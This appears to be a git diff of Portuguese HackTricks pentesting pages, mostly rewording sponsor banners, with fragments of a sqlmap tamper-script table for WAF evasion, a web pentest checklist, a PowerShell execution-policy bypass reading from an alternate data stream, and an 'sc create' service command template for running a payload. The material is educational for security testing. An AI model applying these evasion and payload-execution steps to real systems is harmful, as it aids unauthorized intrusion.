| symboliclogical.py | Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos (&& e |
|
||||
| unionalltounion.py | Substitui UNION ALL SELECT por UNION SELECT |
|
||||
| unmagicquotes.py | Substitui o caractere de aspas (') por uma combinação de múltiplos bytes %bf%27 junto com um comentário genérico no final (para funcionar) |
|
||||
| uppercase.py | Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT' |
|
||||
| varnish.py | Anexa um cabeçalho HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Envolve cada palavra-chave não funcional com um comentário versionado do MySQL |
|
||||
| versionedkeywords.py | Envolve cada palavra-chave não funcional com um comentário versionado do MySQL |
|
||||
| versionedmorekeywords.py | Envolve cada palavra-chave com um comentário versionado do MySQL |
|
||||
| xforwardedfor.py | Anexa um cabeçalho HTTP falso 'X-Forwarded-For' |
|
||||
| xforwardedfor.py | Anexa um cabeçalho HTTP falso 'X-Forwarded-For' |
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -17,14 +17,14 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
Em cada Pentest Web, existem **vários lugares ocultos e óbvios que podem ser vulneráveis**. Este post é destinado a ser uma lista de verificação para confirmar que você pesquisou vulnerabilidades em todos os lugares possíveis.
|
||||
Em cada Pentest Web, existem **vários lugares ocultos e óbvios que podem ser vulneráveis**. Este post tem como objetivo ser uma lista de verificação para confirmar que você pesquisou vulnerabilidades em todos os possíveis lugares.
|
||||
|
||||
## Proxies
|
||||
|
||||
|
@ -55,7 +55,7 @@ Se os dados introduzidos podem de alguma forma ser refletidos na resposta, a pá
|
|||
* [ ] [**Injeção de Template do Lado do Cliente**](client-side-template-injection-csti.md)
|
||||
* [ ] [**Injeção de Comando**](command-injection.md)
|
||||
* [ ] [**CRLF**](crlf-0d-0a.md)
|
||||
* [ ] [**Markup Pendente**](dangling-markup-html-scriptless-injection/)
|
||||
* [ ] [**Markup Pendentes**](dangling-markup-html-scriptless-injection/)
|
||||
* [ ] [**Inclusão de Arquivo/Traversal de Caminho**](file-inclusion/)
|
||||
* [ ] [**Redirecionamento Aberto**](open-redirect.md)
|
||||
* [ ] [**Poluição de Protótipo para XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
|
@ -76,7 +76,7 @@ Algumas das vulnerabilidades mencionadas requerem condições especiais, outras
|
|||
|
||||
### **Funcionalidades de Busca**
|
||||
|
||||
Se a funcionalidade pode ser usada para buscar algum tipo de dado no backend, talvez você possa (mal) utilizá-la para buscar dados arbitrários.
|
||||
Se a funcionalidade pode ser usada para buscar algum tipo de dado dentro do backend, talvez você possa (mal) utilizá-la para buscar dados arbitrários.
|
||||
|
||||
* [ ] [**Inclusão de Arquivo/Traversal de Caminho**](file-inclusion/)
|
||||
* [ ] [**Injeção NoSQL**](nosql-injection.md)
|
||||
|
@ -117,7 +117,7 @@ Existem várias funcionalidades específicas onde algumas soluções alternativa
|
|||
|
||||
### **Objetos Estruturados / Funcionalidades Específicas**
|
||||
|
||||
Algumas funcionalidades exigirão que **os dados estejam estruturados em um formato muito específico** (como um objeto serializado de linguagem ou XML). Portanto, é mais fácil identificar se a aplicação pode ser vulnerável, pois precisa processar esse tipo de dado.\
|
||||
Algumas funcionalidades exigirão que **os dados estejam estruturados em um formato muito específico** (como um objeto serializado em linguagem ou XML). Portanto, é mais fácil identificar se a aplicação pode ser vulnerável, pois precisa processar esse tipo de dado.\
|
||||
Algumas **funcionalidades específicas** também podem ser vulneráveis se um **formato específico da entrada for usado** (como Injeções de Cabeçalho de Email).
|
||||
|
||||
* [ ] [**Desserialização**](deserialization/)
|
||||
|
@ -153,7 +153,7 @@ Essas vulnerabilidades podem ajudar a explorar outras vulnerabilidades.
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -1,25 +1,25 @@
|
|||
# Basic Win CMD for Pentesters
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -419,7 +419,7 @@ powershell -ep bypass - < c:\temp:ttt
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -432,11 +432,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Suporte ao HackTricks</summary>
|
||||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -48,16 +48,16 @@ Criar e iniciar o serviço pode ser realizado com os seguintes comandos:
|
|||
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
|
||||
sc start [ServiceName]
|
||||
```
|
||||
FOr further details check [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
Para mais detalhes, consulte [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
## Referências
|
||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitam escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -67,11 +67,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Suporte ao HackTricks</summary>
|
||||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue